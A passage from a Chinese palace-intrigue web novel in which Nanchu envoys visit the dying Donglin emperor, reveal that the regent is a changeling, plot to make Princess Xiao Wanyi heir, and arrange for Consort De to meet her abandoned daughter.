萧婉仪哪怕是东临的公主也不能随意进宫,现在她的身份是南楚的使者,更不能随意进宫。
赵炳煜和霍凝玉都一身南楚亲王和亲王妃盛装。
萧婉仪一身东临公主朝服,霍鸣羡现在的身份不是南楚的中书舍人,而是东临六公主的驸马。
一行四人被带进东临的朝光殿,每日早朝的地方。
此时正好早朝快要结束。
四人一进去就看到东临的翼王殿下,正端坐于龙椅旁。
他只是监国,还不是皇帝,只在旁边加了一个椅子。
“南楚臣使见过东临翼王殿下。”四人同时见礼。
“哈哈,快快免礼。南楚的摄政王与王妃亲临我东临,真是三生有幸。
得知皇妹归来,本王很高兴。”萧宗翼很热情地回礼。
“只是近日我东临正遇敌军来犯,又遇太子薨逝,父皇病重,实在乱得很,怠慢了各位。
本王代父皇向各位赔礼。”说着,萧宗翼站起身,向四人一揖。
这道歉的姿态做得很到位,可见他知道南楚与东临的关系必须维持好。
这是他立国的根本。
东临的国土和人口都不如南楚。如果两国交恶,对他没有半点好处。
要是东临没了根基,他就是登基为帝也坐不稳皇位,甚至可能灭国。
“翼王不必多礼,我们此次前来,只为贺东临皇五十六寿辰。
六公主是本王的表妹,东临与我南楚就是一家人,所以我这个表哥还有她的表嫂,一起送她回国省亲也是应该的。”
“哈哈,没错,我们是一家人。
听说霍驸马是一科状元,南楚皇给皇妹许了一门好亲,我这个做皇兄的也很欣慰。”萧宗翼把话说得特别漂亮。
“翼王殿下谬赞。既然是一家人,霍某也随夫人一起叫你一声二皇兄,不知算不算唐突?”霍鸣羡试探道。
他想知道翼王对妻子的态度。
“霍驸马真是个妙人,你既娶了本王的皇妹,自是可以叫本王皇兄。”萧宗翼表现得十分亲和。
“二
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皇兄,臣妹得知父皇病重,心如刀绞,可否让臣妹先去看看父皇?”萧婉仪说出自己的请求。
“父皇病重有些日子,也不差这一时半刻,稍后本王亲自带你去见父皇。”萧宗翼很好说话。
一个和亲出去的公主,他并不防她。
“多谢二皇兄。”萧婉仪提着的心放下。
“摄政王殿下,如今我东临正遇北魏大肆来犯。我东临与南楚是友邦之交,可否请南楚国出兵相助?”此时东临丞相出列请求。
“没错,之前北魏犯南楚,我东临立刻派兵声援,出兵北魏,打了北魏一个措手不及,为南楚争取了先机。
此时我东临有难,南楚自也不能推辞。”又一老臣出列。
“臣附议。”
“臣附议。”
......
多个大臣都跟着附议。
“摄政王,我东临如今遇到几十年来的大敌,本王在此请南楚出兵支持。”萧宗翼又站起身郑重一揖。
赵炳煜并没有第一时间出声,而是目光扫视了众大臣一眼,才看向萧宗翼。
“翼王殿下,请问贵国陛下的病情到了什么程度?是否昏迷不醒?”赵炳煜并没有直接回答,而是问东临皇的病情到了哪种程度。
这个问题一出,殿里突然寂静得落针可闻。
萧宗翼眼睛一眯,收起脸上的微笑。
“摄政王此话何意?”
“这么重要的事,本王希望与贵国皇帝亲谈。”赵炳煜慢悠悠道。
如果他敢说东临皇已经昏迷不醒,他就提出带洪大夫来看诊,如果还醒着,那就更好了,直接面见东临皇。
“父皇清醒着。”萧宗翼如实道。
整个皇宫都在他的掌控之中,到时他们面谈,他自会在场。
几个外来的使臣,不可能在东临的地盘上兴起风浪。
而且他深刻明白,不能得罪赵炳煜。
南楚的摄政王,如皇帝一般的存在。
也不能弄死,南楚的太太上皇还活着,又有新皇。
一旦这四人在东临有个什么闪失,两国必然交恶。
“既如此,还请翼王殿下带我等去见东临陛下。”赵炳煜眼含笑意。
第293章 塞纸条
只小小的试探就知道萧宗翼是个看得清形势的人。
“退朝。”萧宗翼一挥手。
四人跟着萧宗翼来到东临皇的寝殿,玉华殿。
“儿臣参见父皇。”
东临皇此时是醒着的,可身子十分虚弱,太医说他大限将至,身体已经到了极限。
“咳咳......”东临皇咳嗽着慢慢转过头来。
“父皇!”萧婉仪哭着几步扑到东临皇身上,接着毫无预兆地放声大哭。
“父皇,儿臣回来看您了。儿臣才离开两年,您怎么就把自己活成这样了?”
她哭着,颤抖着手摸上东临皇的脸,又慢慢握起他的手。
而她握住的却是靠里面的那只手。
就趁这个机会,萧婉仪塞了一张纸条在东临皇的手里,并让他捏紧。
东临皇明显感觉到手里多了东西,再一捏,知道是纸,心里虽疑惑,但他很配合地没让任何人发现,反而抬起靠外面的右手,摸上萧婉仪的脸。
“婉仪回来了,父皇能在临死前见到你,父皇很高兴。父皇老了,人总会走到这一步的。
既然回来,就在宫里多待些日子,好好陪陪朕,还有你母妃。”东临皇眼里也带起了湿意。
这个女儿,是他老来所得,又看在是和亲公主所生,他对她的宠爱虽没越过嫡公主,但也算比较宠爱的。
没想到第一个进宫来看望他的公主是和亲去了南楚的婉仪,其他几个公主直到现在也没来看望过他。
他虽知道是被人控制,但只要想办法,总能进宫的。
可他等到现在也没等来一个。
“父皇,儿臣好想您。”萧婉仪趴在东临皇身上,诉说自己的思亲之情。
“小婿霍鸣羡拜见陛下。”这时霍鸣羡走过来,撩袍跪下,行了跪拜大礼。
东临皇这才把目光移向霍鸣羡。
“霍鸣羡?你是婉仪的夫婿?”东临皇恍惚了一下。
“是。”
“快起来。”东临皇这才看清霍鸣羡的长相。
一表人才,俊朗无双。
东临皇向他微微招了招手。
霍鸣羡靠近,蹲下身。
东临皇握住他的手:“好孩子,婉仪是个好女子,你可要善待她。你别以为她是远嫁就没有娘家撑腰。”
此时的东临皇感觉自己好像寻常父亲一样。
活了一辈子,披荆斩棘,荣华富贵,权利顶端,他都经历过。
到了最后,他又经历儿子们为了皇位,相互残杀。
再看看此刻,只有远嫁的这个女儿才是真正关心他,为他哭的孩子。
“陛下放心,我们夫妻感情很好。
婉仪还为小婿生了一个大胖小子,才刚会走路就知道调皮了。”霍鸣羡说了一句逗人开心的话。
“好,好,好。可有带来?”东临皇希冀地问道。
“路途太过遥远,不曾带来,但我们画有画像。”霍鸣羡当即从怀里拿出早就准备好的画像,展开,凑到东临皇眼前。
东临皇看着画中可爱如年画里的胖娃娃,脸上露出欣慰的笑容。
看了好一会儿,他才疲惫地闭了闭眼。
再次睁开,看向房里的另两个陌生人。
赵炳煜夫妻这才上前一步见礼。
“南楚臣使赵炳煜(霍凝玉)参见东临陛下。”
“再过十日就是陛下寿辰,我们远道而来,为陛下贺寿。”赵炳煜继续道。
“你就是南楚摄政王?”东临皇眼睛亮了亮。
此人他了解,现在南楚虽有皇帝,实际上皇权就在他手里。
“正是。”
“父皇,现如今我东临已被北魏攻下五个城,之前曲将军叛国,导致前线溃败,儿臣向南楚借兵,可南楚摄政王说要与您当面谈。”这时萧宗翼立即插话。
东临皇浑浊的眼睛又看向赵炳煜。
玉树临风,年轻有为,南楚乾德帝亲自养大。
能让乾德帝不信儿子信侄子的人物,前所未见。
可见其心性练达,为人聪明。
“摄政王,朕知现在南楚正与西凉交战,只是不知道现在是什么情况?可还有兵力支持我东临?”东临皇没有直接请求支持,而是以商量的语气来谈。
“陛下,我南楚目前确实无兵力伐北魏来缓解东临之危,但我相信要不了多久,我南楚与西凉的战事就会结束
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,所以在这之前,希望东临早些稳定朝局,全力应敌。”赵炳煜的话很中肯。
不是不支持,而是暂时没能力,但表明了,南楚的战事一结束,立刻就发兵北魏。
“宗翼,近日你监国,此事你多上心些。一定要夺回所失的疆土。”东临皇深感无力。
他现在这个样子,已无力处理朝政。一切只能靠监国的萧宗翼。
是时候重新立储了。太子已去,无法挽回。
而且太子的能力确实不如后面几个兄弟。
“是,儿臣领命。”当着外人的面,他不能说此事太难。
“婉仪,去看看你母妃吧,这几日你就留在宫里陪陪你母妃。她自嫁入东临,再没有回过南楚,她定有很多话与你说。”东临皇感觉好累,说着,他已闭上了眼睛。
“是,父皇。”
几人被领着出了寝殿。
“翼王殿下,本王也去看看姑姑。她出嫁时,本王只有几岁,这么多年过去,本王都快记不清姑姑长什么样了。”赵炳煜提出要求。
“应该的。”萧宗翼自是猜到他们会提此要求。
这时珍妃娘娘宫里的大宫女早就等在不远处。
看到萧婉仪出来,立刻上前来接人。
寝殿里,东临皇听到外面没了声音,才又睁开眼睛。
“皇上?”跟了他一辈子的大太监高公公立刻走上前来。
“高公公,朕想静一静,把伺候的人都打发出去吧,就你在跟前就好。”
东临皇心里清楚,屋里伺候的人基本都是德妃和二皇儿的人,他能信任的人也就只有这个老伙伴了。
现在三个儿子争斗得不可开交。
太子的下场,定是争斗的结果。只可惜他现在实在没精力扭转乾坤。
罢了,这就是皇权之争的残酷,能者居之。
高公公把人都打发到门外,他搬了个小杌子坐到床前。
有一下没一下地给东临皇打扇。
这时东临皇才从薄被下伸出左手,手里捏着的纸条已经被他的手汗浸润。
吃力地在胸前展开。
当他看到上面写的字时,眼睛猛地大睁,接着是剧烈的咳嗽。
第294章 皇室秘辛
“皇上!”高公公焦急万分,就要去叫太医,但被东临皇阻止。
东临皇又认真看了一遍,没有看错。
【当年德妃所生的是女儿,我已找到。二皇兄不是皇室血脉。】
只简单的两句话,犹如五雷轰顶。
“哇!”东临皇吐出一口血来。
“皇上。”高公公吓坏了。
他也看到了那串字。
这怎么可能?如果此事是真,萧家的江山就落入了旁人之手。
天大的秘密,让他知道了。
高公公一把年纪,不知道如何是好。
只木木地扶着皇上,等他缓过劲来。
东临皇咳嗽了好一会儿才压下去。
“老伙计,老三和老四如今什么情况?”东临皇喘着粗气问道。
“回皇上,四殿下带兵去了边关。三殿下病重在府里将养。“高公公如实回答。
东临皇深深闭上眼睛。
只短短时间,他已经想明白,太子为何会死,老三为何会在这个时候病重。
老四去边关估计也是有去无回。
到最后他只有老二可以托付江山。
真是打得一手好算盘,不知哪里找来的野种,竟然敢谋他萧氏的江山。
可是他现在行将就木,如今又内忧外患,这个局要如何破?
强烈的无力感袭上心头。
北魏大举夺取东临的城池,老二在这个时候解决所有兄弟,他就不怕到时得了江山,却没有国了吗?
他得好好思量思量。
萧婉仪一行被带到珍妃娘娘的南珍宫。
珍妃是乾德帝最小的皇妹,七公主,赵宜珍。
她早就在宫门口等着了。
远远见到那抹熟悉的身影,萧婉仪再也不管礼仪,提起裙摆就小跑起来。
“母妃。”
思念已久的女儿扑进怀里,珍妃激动的眼泪瞬间溢满眼眶。
“好孩子,你终于回来了。你让母妃好等。”珍妃紧紧拥着怀里的女儿。
“母妃,我好想你。”
“小婿见过珍妃娘娘。”霍鸣羡稍等了一会儿才上前一躬身。
皇家不比普通人家,不能直接叫岳父岳母。
“快快免礼。”看到霍鸣羡,珍妃用帕子抹了抹眼睛,露出笑容。
“见过七姑姑。“赵炳煜夫妻也上前一礼。
“你就是炳煜?”珍妃见到又一个亲人,更高兴,“我离开时你才六岁,这么多年不见,你都已经这么大了。时间过得真快。这就是你娶的王妃?长得真好,很有福相。”
珍妃连连夸赞:“走,进宫坐下谈。”
萧婉仪挽着母妃不撒手,如没出嫁前那般撒娇。
“母妃,我可想您了。皇舅舅说,如果可以,想让女儿接您回国。不知道您意下如何?”萧婉仪希冀地望着珍妃。
“现在可能不行,朝局动荡不安,外敌又强势来袭,皇上此时不会答应本宫走的。”珍妃心里很清楚,此时绝对不是提这事的好时候。
“表妹,先不说这个。时间有限,我们先说说正事。”赵炳煜突然严肃起来。
珍妃一看赵炳煜的脸色,立刻让大宫女出去守好,不得让任何人进来。
“炳煜,我知道你正管着南楚的国事,现在东临也遇到皇权交替之时,你们选在这个时候来,是不是有什么想法?”珍妃作为和亲使者,随时留意着两国的国事。
“母妃,你先说说现在各皇兄的情况吧。”萧婉仪他们了解到的消息自然没有珍妃处在权力中心的人多。
珍妃在几人脸上扫过,个个都希望她先说。
“你太子皇兄服毒之事,想来你们都能想到,定是被算计的,或者是被人直接下毒。”
“那他的遗书是怎么来的?”萧婉仪对这个有点疑惑。
“自是有人模仿他的笔迹写出来的。你父皇的身子越来越差,已经管不了事。
那封遗书就是有问题,你父皇也只能认了。人都**,就是查出问题也活不过来。”珍妃叹了口气。
“母妃,您怀疑父皇是被人下了毒,可有依据?”萧婉仪虽相信,但没有证据,也不能确定。
“我也只是猜测,你父皇确实年纪大了,身体本就差,如果再稍用点毒,就会每况愈下。
但因有太子在,其他皇子也不敢让你父皇死,只能吊着他一口气。
现在太子一去,估计你父皇可能要不了几日就会去了。最多让他活过生辰。”珍妃分析。
“母妃,那您觉得二皇兄是最佳皇位继承人选吗?”
“最近一个多月来,他越发心狠手辣,太子应该就是他下的手。
现在三殿下病重,应该也是他的手笔。
只有一个四殿下,可
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他又去了边关,他想抽身回来都不能。
战事很吃紧,说不定他现在也已经遭了毒手。
如今你父皇又让二皇子监国,不出意外,估计你父皇可能要写传位诏书了。”
“母妃......”萧婉仪很严肃地轻唤,“二皇兄他十有**不是父皇的孩子,而是德母妃从宫外抱来的孩子,当年她生的是个女儿。”
“你说什么?”珍妃被惊的声音都大了些。
“母妃,我们在来的路上遇到一位妇人,长得和德母妃有八成相似,这世上相似之人虽有,但与我一样有一颗泪痣就不是巧合了。
而且她手里有一个证明身份的玉佩,正是德母妃从娘家带进宫的贴身玉佩。”
“你.......你可把那女子带回京了?”珍妃已经不知说什么好了。
“母妃,我把那女子带来了,现在就在使馆里,我让她一直戴着面纱,没有以真面目示人。”萧婉仪见珍妃的脸色,感觉自己是不是做错了。
珍妃怔愣住。
要是这事一捅出来,那东临的朝局更加不可收拾,必将大乱。
再仔细一想,太子的儿子也是废物,三皇子府的世子居然几个月前摔断了腿,而且就一个儿子。
四皇子府里直到现在还没生出儿子来,只有三个女儿。
不想不知道,一想才明白,这一切都是有人故意为之。
再看二皇子府,两个嫡子,三个庶子,个个都生龙活虎。
太可怕了。
除了二皇子居然没有一个合适继承皇位的人选。
原来整个后宫,最老谋深算的是德妃。竟然这么多年都没露出半点马脚,还能如其他妃子一样在宫里与各妃子争斗这么多年。
这才是真正的深藏不露,一步步,稳打稳扎,不急不缓,最终实现自己的目标。
珍妃在房里徘徊起来。
“冯德妃已经控制住了整个后宫,前朝也被二皇子把控,这可如何是好?”珍妃作为皇室出生的公主,哪里能接受皇权被人劫去。
虽然她不是东临的公主,但思想却是刻进骨子里的。
皇权的传承须讲究正统,哪容他人觊觎。
这就是大逆不道,这就是**,这就是劫国。
“姑姑,我有一个大胆的想法。”在气氛十分凝重之际,霍凝玉突然出声。
第295章 劝大嫂争皇位
“什么想法?”珍妃停下脚步。
霍凝玉向几人都招了招手,让大家都靠拢过来。
此事非同小可。
“姑姑,现在整个皇朝已经被翼王把控,除了他,没人可以继位。
但我认为还有一个转机,那就是大嫂。”霍凝玉悄声说出自己的想法。
赵炳煜眼睛一亮,脸上露出淡淡的微笑。
凝玉才是真正的智者。
霍鸣羡也露出意味深长的笑容,他也明白了妹妹的意思。
“你是说让婉仪来继承皇位?”珍妃慢了半拍也明白过来。
只有萧婉仪眼睛睁得大大地瞪着霍凝玉:“妹妹,你怎么敢有这样的想法?”
“为什么不敢?赵明月都敢,你怎就不敢?”霍凝玉一句话点醒她。
“不不不,我怎么有那个能力?”萧婉仪连连摆手。
“那是因为你从来没有这个野心,才觉得自己没有这个能力?。在其位才谋其事,当你到了那个位置,你的能力自然就显现出来。”霍凝玉蛊惑道。
她越想越觉得可行。
“姑姑,您是和亲的公主,翼王和德妃再如何把持前朝后宫,也不会对你们母女有多大防备,整个后宫,估计也就您这宫里还算干净。
而大嫂已经把翼王是假皇子的消息,告诉了皇上。
我想皇上宁可把皇位传给大嫂都不愿意传给翼王。
而且现在东临面临灭国的危机,能帮助东临的只有南楚,所以大嫂最大的后盾是南楚,她的优势比任何一个公主都大。
夫君是摄政王,只要他的命令一出,南楚就可以立刻发兵,既可以攻北魏,也可以攻东临。
如果攻东临那就真的灭国了,您说皇上会如何决策?”霍凝玉分析得入木三分。
赵炳煜和霍鸣羡暗自点头。
他们都不敢这么想,没想到凝玉竟如此大胆。
他们是男子,想问题自是站在男子的角度,凝玉是女子,出发点就不同。
但仔细一想,她说的每一条都无懈可击。
这就是天时,地利,人和。
那么顺天而行,理所当然。
“大嫂,大哥说你曾女扮男装去国子监读书,你本就是才女,不过是受你是女子的身份所限,才让你没有这么大胆的想法。
但现在形势已经逼到眼前,难道你想东临的江山被一个不知哪里来的野种给得了去吗?”霍凝玉继续劝道。
“婉仪,不用担心,为夫会帮你。”霍鸣羡轻轻握住她的手,做妻子最大的后盾。
“夫君,我......”萧婉仪心乱如麻。
“不用怕,你有整个南楚做后盾。”霍鸣羡握了握她的手,又点了点头。
此时,珍妃的心里如翻腾的巨浪在冲击着她。
她是南楚的公主,就是生了儿子都不可能被定为继承人,更何况是女儿。
但如果她不争,东临的江山必定落入翼王之手。
她还想得更加深远。
如果女儿登基,那么南楚与东临才是真正的一家亲,就是两国合并也不无可能。
越想,她的心越发明朗。
“好。本宫就搏一回,但有个条件。“珍妃几番思量,拿定主意。
“什么条件?”几人同声问道。
“婉仪的第一个儿子改姓萧。本宫以此为条件去说服皇上,加大筹码。”珍妃看着霍鸣羡,十分严肃地说道。
这事必须得女婿点头。
“好,我同意。婉仪还可以再生,就算不能生,家里还有二弟,霍家的香火不会断。”霍鸣羡立刻同意。
这事其实都不用多考虑。
“姑姑,既然拿定主意,那我们就好好商量一下接下来如何做。
宫外的事我们来做,宫内就全靠姑姑和表妹了。”赵炳煜此时的心情很美妙。
这可是千载难逢的好机会。
几人又悄声商量了半个时辰,萧婉仪留在宫里与母亲作伴,以解分离这么久的思亲之苦。
也是为了留在宫里帮珍妃。
她进出皇宫也比较方便,只要说去使馆见夫君,就是最好的借口。
还有十日就是东临皇的寿辰。
他们得抓紧时间。
寿辰那日,东临皇必是要出席的,哪怕被抬到宴席露个面。
三人出了宫,回到使馆。
赵炳煜和霍鸣羡开始安排起来。
他们带到东临来的人手有七百多人,个个都是
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好手,在明面上的护卫只有两百多人,暗里却有五百人。
一旦东临皇做出决定,就可直接行动。
但要让东临皇相信翼王不是亲生的,还得想办法把冯宝川送到东临皇面前。
不是萧婉仪塞张纸条就可以的。
这时青凌进来。
“王爷,我们盯着的杨大夫有行动,他与东临翼王府的人有接触,而且属下还发现一个秘密。”
“什么秘密?”赵炳煜凝眉。
“之前属下没见过翼王,今日他出宫回了一趟王府,属下无意间看到他,发现他居然与那杨大夫长得有几分相似。
说他们是父子不会有人怀疑。
难道他们之间有什么关系?
这杨大夫二十多年前在太医院供职,牵连进后宫妃嫔相互算计之中,在抓捕前逃了。
多年后又回来,而且还是翼王帮他翻的案,此时他是普通医者。”青凌的观察很仔细。
“没想到你还有做探子的潜质。你可能不知道,这杨大夫就是我南楚之前的忠义伯府少夫人的亲外祖。
她母亲就是给大公主治好不孕症的杨氏。
这人真不简单。
难怪他要逃,原来他的儿子养在冯德妃身边,很有可能继承大统,以后就算身份不暴露,翼王也会让他享尽荣华富贵。
冯宝川估计也是他带出宫的,德妃与他各自捏着对方的孩子。
只是德妃深居皇宫,被杨大夫骗了也不知道。他根本就没有好好照顾德妃的女儿。”赵炳煜把霍凝玉分析的说给青凌听。
“原来如此。”青凌简直不敢相信。
“既然如此,我们可以先从这个杨大夫身上下手。”霍凝玉提议道。
“我也正有此意。凝玉,咱们找个机会,让那个杨大夫看到冯宝川,他必定会去找翼王。
翼王肯定会想办法杀冯宝川,再把这个消息透露给德妃。让他们母子之间产生嫌隙。
德妃一乱了阵脚,宫里姑姑就好行事。”赵炳煜对妻子投去赞赏的眼神。
“青凌,你再盯紧些,那杨大夫一出门,就回报。”赵炳煜立即吩咐。
“是,王爷。”
这个机会很快就来了。
第296章 设计巧遇
翌日,东临三皇子府的管事打听到杨大夫的医术不错,派人来请去王府看诊。
自家王爷病了好些日子不见好,如今越发严重,太医看了多次都无果,想请民间大夫看看,会不会有希望。
杨大夫一出门,就被青凌派来盯着的下属看到,立刻传回消息。
霍凝玉找来冯宝川母女,仔细交代一番,教她们如何行事。
冯宝川母女自被救后,就一直跟着萧婉仪,自是知道霍凝玉是主子的小姑子。现在主子进宫了,她们就听霍凝玉安排。
交代好,赵炳煜和霍凝玉带着冯宝川母女出门。
在杨大夫回家的必经之路上等着。
果然功夫不负有心人。
当一辆青布马车迎面而来时,青凌向冯宝川使了个眼色。
冯宝川假装心事重重,低着头走路,向马车来的方向而行。
当马车快要到时,她如受了很大的惊吓,想躲,可是一个没站稳,直接摔在马路中间。
车夫反应很快,用力勒住马缰,堪堪停在冯宝川面前,没有伤到人。
马车里的杨大夫被突然骤停的马车给摔得向前一扑,正好看到马车前摔倒的妇人。
冯宝川想爬起来,爬了几次都爬不起来。
明显扭了脚。
而杨大夫此时也看到了冯宝川的脸。
他对冯德妃再熟悉不过,又加上那颗皇帝特有的泪痣,让他一瞬间就想到了这个妇人的身份。
这么多年过去,当初,他把孩子丢给一家姓冯的秀才养。
刚开始几年,他还时不时关注一下,知道她被那秀才夫妻当亲生的,照顾得很好,他就很少关注。
直到他被迫逃离东临,就再也没去看过她。
后来他又回到京城,只回复德妃说那孩子过得很好。
今日怎么这么巧突然摔倒在他的马车前?
难道她知道了自己的身世,找来了京城?
这个想法一入心,杨大夫惊出一身冷汗。
“快,把人扶起来,带上马车。”杨大夫想也不想就做出决定,他要把这妇人带走,再想办法安顿,如果不听话,那就没必要活着了。
现在最是关键时候,绝对不能出现意外。
“娘,你这是怎么了?”这时,李璎珞匆匆跑上前来。
“我听说你爹找来了,我心里乱得很,就没看路,不小心摔着了。”冯宝川解释道。
“娘,走,我们先回家,到时我们请里长做主,把他打出去。”李璎珞也有模有样地接话。
这时,车夫上前来:“这位夫人,我们老爷让你们上马车,我们送你们一程。”
“不用了,真是不好意思,刚才让你受惊了,是我自己没看路,马并没有撞到我。”冯宝川扯出一抹不好意思的笑。
母女俩正要走。
这时杨大夫走下马车:“这位夫人,你现在扭了脚,走路不方便,还是上马车,老夫送你一程。”
杨大夫表现得十分真诚。花白的胡子和慈祥的笑容,让他看着如慈悲的神仙,能让人产生无端的信任。
“二婶,你这是怎么了?”这时,一个青凌安排的护卫上前。
三人都着普通百姓常穿的细麻布衣衫。让人一看就知道他们只是普通的百姓。
“二郎,我脚扭了。”冯宝川立即表现出很疼痛的样子。
“二婶,我背你。”护卫当即蹲下身背起冯宝川就走。
看都没看杨大夫一眼。
杨大夫眼神凌厉地看着远去的三人。
“快,跟上那三人,看他们去哪里?”杨大夫立刻做出反应。
车夫驾着车不远不近地跟着三人。
冯宝川被背到一处民居。
其实也是提前来东临京城的护卫们租下的一处小宅。
杨大夫看到他们三人进了那小宅,才让车夫驾车离去。
而他的一举一动都被跟随的赵炳煜夫妻看在眼里。
“青凌,跟好了那杨大夫。”赵炳煜勾起一丝玩味的笑。
“是,王爷。”
赵炳煜夫妻的马车离开后,还有一个男子也看了那小宅好几眼才离开。
那人也被跟踪的护卫看到,追上青凌说了此事。
赵炳煜夫妻自然也听到了。
“夫君,你猜那男子是谁的人?”霍凝玉挑了挑眉,带着玩味的笑容,事情越来越有意思了。
“看你的眼神就知道你与为夫猜得一样。”赵炳煜刮了她的鼻子一下。
两人相视而笑。
“应该是德妃的人。”两人不约而同说出同样的话。
这样一个人,德妃自是要防着的。又不能杀了,不然她女儿的命就不保,只能看着。
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“聪明的王妃。”赵炳煜不吝夸赞。
“这下有好戏看了。”霍凝玉一副八卦样。
夫妻二人回到使馆,霍鸣羡正在接待东临的礼部侍郎何大人。
“驸马爷,还请好好考虑考虑,我们东临愿意出大价钱,只求买两架床**。”
霍凝玉夫妻刚到正堂门口就听到里面传来这句话。
嗯?
床**的事已经传到东临了?
看来东临安插在南楚的探子也不是吃素的,这就把消息传回来了。
“何大人,等我们南楚攻下西凉,本官自会向我南楚陛下请旨,直接送东临几架,不用花钱买。”霍鸣羡说得云淡风轻。
“驸马爷,等不及了,现在北魏来势汹汹,我们东临根本等不起啊。”何大人急得如热锅上的蚂蚁。
翼王殿下给他下达了必须到手的命令。
他们都猜到,请南楚出兵攻北魏是不可能的,但买几架他们刚研制出来的床**总行吧。
谁知,驸马爷竟没有一口就答应。
“你可知道,我南楚就是靠那东西来攻克西凉,轻易不可能出售。
而且自那东西研究出来,本官都没见过,皇上要求绝对保密。
你让我们南楚这个时候拿出来卖,你是想传得四国皆知吗?
摄政王已经答应,只要我们南楚拿下西凉,即刻出兵北魏,你急什么?
东临又不是纸老虎,难道离了我南楚就不能打胜仗了吗?”霍鸣羡说得轻柔,可每句话都强硬如铁。
气得何大人直想骂娘,可是他知道,他不能。
“说得好,本王既然已经答应贵国,自不会食言。
何大人,你还是让翼王殿下先想办法顶住北魏前进的步伐,可不能把一切希望都寄托在我南楚的帮助上。”
赵炳煜说着,领着霍凝玉走了进来。
“见过王爷,这事真不能通融一下吗?我们可以出高价购买。”何大人真是急晕了头。
他已经磨了霍鸣羡好长时间,就是不松口。
“你放心,刚才霍大人已经说得很清楚,不是不帮,而是还需再等等,本王估计最多一个月,我南楚就能拿下西凉。”
何大人见说不通,只得灰溜溜回去复命。
到了晚上,青凌又急急回来。
“王爷,德妃出宫了。”
第297章 你是我娘?
他的话刚说完,青雨也进来禀报。
“王爷,翼王也出府了。”
夫妻俩对视一眼。
“走,我们去看热闹。”霍凝玉八卦之心立刻升起。
两人都不用多想就知道那母子二人肯定都知道了冯宝川的存在。
就看他们要如何对待这件事了。
“青雨,立刻给翼王制造点麻烦,让他迟一步到,先给德妃母女相认的时间。”赵炳煜吩咐。
“是。”青雨领命而去。
霍鸣羡也要跟着去看热闹。
三人悄悄来到特意为冯氏母女安排的小宅。
赵炳煜带着霍凝玉上了一处房顶,霍鸣羡被青风带着,也来到他们身边,远远能看到那小宅,又不会引起德妃所带护卫的注意。
没过多久,果然看到一辆低调的马车驶进了那个小巷子。
一个中年嬷嬷扶着一个带着面纱的女子下了马车。
距离比较远,看不太清。只能借助马车上挂的灯笼看着大概。
马车周围或明或暗跟着十个护卫。
嬷嬷亲自去敲门。
来开门的正是特意安排的护卫,扮冯宝川的堂侄子。
护卫看到两个穿着华贵的妇人,故作吃惊:“你们......你们找谁?”
“这位小哥,这里可住着一位姓冯的娘子?”嬷嬷小声问道。
“是,是啊,是我二婶。”护卫口吃道,一副平民见到官爷的震惊样。
嬷嬷直接扶着德妃往里走。
德妃身份尊贵又久居高位,从没来过这种逼窄的地方,想到自己的亲生女儿就住这种地方,心里难受无比。
但她知道不能表现出来。
今夜,她只是来解相思之苦的。
她只要看看女儿便好。
德妃被扶着进了堂屋,冯氏母女正在说话,见到陌生人进来,大吃一惊。
“你,你是谁?”冯宝川被吓到了,因为她看到眼前的两个妇人一身的贵气,必不是普通人。
王妃交代她暂时先住在这里,会有人保护她们母女安全,她们只需如平日那般过日子即可,其他不要管。
这突然出现两个陌生人,她不知道如何应对。
这事霍凝玉确实没有预料到,也没交代,想提前与冯宝川交代已经来不及。
德妃什么也没说,直接坐到椅子上。
眼睛在母女身上来回打量,最后定格在冯宝川身上。
看着看着,她就流下了眼泪。
只出生时看过一眼,从此母女分离,再没见过。
只是偶尔听到一星半点消息。说孩子过着寻常百姓的普通日子,还有一个秀才养父,还教她识字,后来杨大夫被迫逃离后,她再也没有女儿的消息。
今日一得知女儿来了京城,她再也忍不住。
她一定要亲眼见到人,她还要问问孩子过得好不好。
可一看到这张与自己有八分相似的脸,她再也控制不住自己这些年来的内疚。
才三十六岁的女儿,竟已如此苍老。与她这个当娘的看着差不了多少,可见女儿吃了多少苦,才会如此出老相。
都是她的错,可为了家族,为了自己在宫中的地位,为了皇权,她从放弃孩子的那一天起就注定了今日的结果。
冯宝川看到眼前的夫人突然流起了眼泪,她更加手足无措。
“请问这位夫人,你......”冯宝川疑惑不已,嗫嚅着问出口。
她想问德妃为何流泪,可又不知道怎么问出口。
冯德妃一句说不出,只是看着冯宝川,默默流着眼泪。
“夫人,时间不多。”身边的老嬷嬷轻声提醒。
“你......是不是叫冯宝川?”德妃终于控制住悲伤,开口问道。
“是......夫人怎么知道?”冯宝川一怔。
这位夫人为何知道她的名字?她来京城几日,今日是第一次出使馆,还是王妃安排的,不可能有人认识她。
难道这位夫人是自己的亲人?
这个猜测一入心,她的眼睛越发明亮起来。
突然来找她,肯定是的。
“这些年,你过得可好?”德妃吸了吸鼻子,压下喉咙里的哽噎。
这个问题让冯宝川悲从中来。
在娘家时还好,可是自从嫁了人,她的命运如改了道般,开始越发难熬。
父母去世后,更是雪上加霜。最后落得个**为奴的下场。
如果她嫁的男人是个上进的,能考中秀才也不至于把日子过到卖女儿的地步。
想到过去,她伤心地流起了眼泪。
“你想知道我娘过得好不好?”一直在旁的李璎珞也看出些端倪。
突然来的夫人,一来就流泪,只有一个可能,那就是特意来看望她们母女的。
她也知道母亲不
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是外祖母亲生的。
“姑娘,你来讲讲。”老嬷嬷看到冯宝川的样子,心里已经有数。
“我娘过得一点也不好。”李璎珞说完这句,也开始哭起来。
一边哭,一边说起这些年她们母女是如何过的。
直到最后她被父亲卖,遇到贵人解救了她们母女,在贵人的帮助下,母亲才与父亲和离。
但她没说她们卖给六公主为奴婢的事,只说遇到贵人相助。
王妃特意交代过,谁问都不能透露她们目前的情况。
德妃听得眼泪流得更凶。
“我的儿。”她再也控制不住自己思女的心情。
德妃直接一把扯下自己的面纱。
“是娘对不起你。”德妃起身,来到冯宝川的面前。
冯宝川这才看清眼前夫人的脸,震惊得眼睛大睁。
“你......”太像了,眼前的夫人与自己太像了。
“你是我娘?”冯宝川不可思议。
六公主说会帮她找亲人,没想到她的亲人当真找到了,而且还是找来了这里。
这一定是六公主安排的。
“是,可是娘有不得已的苦衷,你要恨娘就恨吧。这些年,娘天天都在想你,今夜终于得以相见,娘死也无憾了。”德妃抬起手,为冯宝川抹去脸上的泪。
“我是富贵人家的孩子?”冯宝川看到德妃的穿着判断。
“是,你是富贵人家的孩子。宝儿,你再等等,最多一个月,娘自会为你安排更好的生活。”
“为什么?”冯宝川不知道自己究竟想知道什么。
自己是谁家的孩子?娘为什么要抛弃她?
既然抛弃了她,又为何说思念她?
什么样的苦衷会让娘抛弃她?
